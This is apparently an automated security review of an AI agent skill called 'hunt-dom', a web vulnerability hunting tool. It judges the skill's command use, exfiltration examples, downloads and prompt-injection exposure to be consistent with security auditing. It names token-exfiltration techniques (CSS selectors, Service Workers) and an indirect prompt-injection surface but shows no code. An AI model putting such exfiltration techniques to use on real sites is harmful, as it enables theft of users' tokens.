The Agent Skills Directory

[COMMAND_EXECUTION]: The skill utilizes standard command-line tools such as curl and grep for reconnaissance purposes. These commands are used to fetch and search for vulnerability patterns (e.g., searching for PostMessage handlers or vulnerable jQuery versions) in the source code of target web applications, which is consistent with the skill's stated purpose for security auditing.
[DATA_EXFILTRATION]: While the skill provides examples of data exfiltration techniques (such as using CSS attribute selectors or Service Workers to leak tokens), these are presented as proof-of-concept demonstrations for identified vulnerabilities. The code uses placeholder domains like evil.com and OOB.example and does not attempt to access or exfiltrate the user's personal or sensitive data.
[PROMPT_INJECTION]: No evidence of instructions attempting to bypass safety filters or override agent behavior was found. The instructional language is strictly focused on the technical aspects of web security testing.
[EXTERNAL_DOWNLOADS]: The skill references established security research organizations and repositories, such as PortSwigger and GitHub Security Advisories, which are well-known and trusted sources in the security community. It does not download or execute untrusted third-party code at runtime.
[INDIRECT_PROMPT_INJECTION]: The skill possesses an attack surface for indirect prompt injection because it processes content from external websites (via curl). However, the processing is limited to pattern matching for vulnerability discovery rather than executing instructions found in the retrieved content, and this behavior is intrinsic to the skill's primary function as a security scanner.

hunt-dom